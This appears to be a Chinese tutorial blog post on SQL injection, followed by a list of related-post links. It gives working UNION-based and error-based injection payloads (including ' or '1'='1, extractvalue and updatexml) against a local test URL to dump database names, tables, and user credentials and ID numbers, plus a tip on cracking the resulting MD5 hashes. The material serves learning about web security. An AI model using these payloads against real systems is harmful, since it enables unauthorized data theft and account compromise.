SQL注入

union查询注⼊是最基础的注⼊。在SQL中,UNION操作符⽤于合并两个或多个SELECT语句的结果。 union查询注⼊利⽤UNION关键字,可以追加⼀条或者多条额外的SELECT查询,
并将结果追加到原始查询中。联合查询会"纵向"拼接两个或多个SELECT语句的结果
适⽤条件
条件⼀:⽹⻚存在注⼊点,有回显。
条件⼆:需要满⾜ union 语句要求:
union 前后两个 select 的结果集,应具有相同列数;
union 前后两个 select 的结果集,对应列应是相同数据类型;

一、万能密码
' or '1' ='1
二、
1获得数据库的名字(难点:表的数据库又是哪一个?)
2获得数据库的所有表(难点:表是哪一个?)
3查看具体表里面的内容(获得用户名+密码)(难点:用户名与密码存放到哪里?)
1、获得数据库的名字
数据库中的语句:select * from news where datestr='' union select DATABASE(),'','',''
转化为链接上的语句:
http://localhost/wz/url.php?date=' union select DATABASE(),'','','
2、获得数据库的所有表
select * from news where datestr='' union SELECT (select GROUP_CONCAT(TABLE _name )
from information_schema.`TABLES` t where t.TABLE_SCHEMA='game'),'','',''
链接:
http://localhost/wz/url.php?date=' union SELECT (select GROUP_CONCAT(TABLE_name )from
information_schema.`TABLES` t where t.TABLE_SCHEMA='game'),'','','
3、查看具体表里面的内容
首先查询表里的字段名:
select * from news where datestr=''
union
SELECT
(select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.`COLUMNS` c
where c.TABLE_SCHEMA='game' and c.TABL
E_NAME='user'),'','',''
转化为链接:
http://localhost/wz/url.php?date=' union
SELECT
(select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.`COLUMNS` c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'),'','','
得到用户表字段名后
select * from news where datestr='20231012'
union
select username, PASSWORD ,cardid,'需要的数据' from user
转化为链接:
http://localhost/wz/url.php?date=' union select username,PASSWORD ,cardid,'需要的数据'
from user where '1' ='1

以上为UNION型注入,但如果防御强的话,可能出现问题,下边学习报错型注入,是被动注入。
三、SQL注⼊之报错型注⼊漏洞
报错注⼊是利⽤⽹站的报错信息 来带出我们想要的信息,就是在错误信息中执⾏ sql 语句
报错型注⼊的使⽤条件:
考虑到成功率 和 时间成本 ⽐ union 成本⾼,需要数据库有错误信息,⼀般在 union 条
件不能实施的时候,才考虑 "报错型注⼊"
1、获取 数据库名
注⼊点,填写到 留⾔内容的编辑框中
数据库中的SQL:
(select 1 from (select count(*),concat(0x5e,(select database() from informa
tion_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_sch
ema.tables group by x)a)
注入点的语句:
'or (select 1 from (select count(*),concat(0x5e,(select database() from
information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from
information_schema.tables group by x)a) or'
执⾏此SQL,让其报错,错误就是 我想要的
2、获取表名:
数据库语句:
SELECT extractvalue(1, concat(0x5c, (select group_concat(table_name) from
information_schema.tables where table_schema='jrlt'),0x5c))
注入点语句:
' or extractvalue(1, concat(0x5c, (select group_concat(table_name) from
information_schema.tables where table_schema='jrlt'),0x5c)) or '
3、获取表字段
数据库语句:
SELECT updatexml(1,concat(0x5e,(select group_concat(column_name) from
information_schema.columns where table_name='users' and table_schema='jrlt'
),0x5e),1)
注入点语句:
' or updatexml(1,concat(0x5e,(select group_concat(column_name) from
information_schema.columns where table_name='users' and table_schema='jrlt
'),0x5e),1) or '
4、获取数据
注入点语句
' or updatexml(1,concat(0x5e,(select concat(name,':',password) from users l
imit 0,1),0x5e),1) or'
发现 e10adc3949ba59abbe56e057 结果显示出来,但数据不对,原因是 updataxml()对仅能获
取返回 32 位字符,对于 ⻓字符串需要分批次获取
最后把 e10adc3949ba59abbe56e057f20f883e ⽤
https://www.sojson.com/encrypt_md5.html 解密
以上内容就是实战中的SQL注入的思路,关键点还是要学会找到注入点。把语句放入注入点就可以,需要的时候进行微调。

相关推荐
Lethehong1 小时前
Oracle 加个字段,目标库就报错?KFS 用“先拆后组“打通异构 DDL
数据库·oracle
Web极客码1 小时前
锁定真正的磁盘卡顿:我用 OpenCode 配合 eBPF 诊断 NVMe 队列深度延迟与 I/O 写放大
数据库·oracle
持敬chijing2 小时前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
cspttty2 小时前
2027用户研究求职准备:应用统计学如何补齐研究设计与业务表达
大数据·数据库
roman_日积跬步-终至千里3 小时前
【数据Agent论文·查询与语义|05】Spider:为什么换一个数据库,模型就不会查了?
数据库·数据分析
猫咪很可爱3 小时前
Oracle RAC 启动失败排查:私网通信与内核参数优化实战
运维·数据库·oracle
XLYcmy3 小时前
《数字经济赋能城市低碳治理的路径研究检索报告》审阅与修改指导意见——基于完整检索报告体例的完整性诊断、学术规范核查与方法论纠偏 上
数据库·ai·chatgpt·文心一言·检索·知网·豆包
泡海椒4 小时前
JQuick-SQL 快速开始:注册内存表并执行查询
数据库·windows·sql
ss2734 小时前
PG实战笔记 | 09 PostgreSQL psql客户端基本操作
数据库·笔记·postgresql
电商API_180079052474 小时前
反向海淘多币种结算:汇率该在哪个时点被冻结
java·开发语言·数据库·跨境电商·1688 api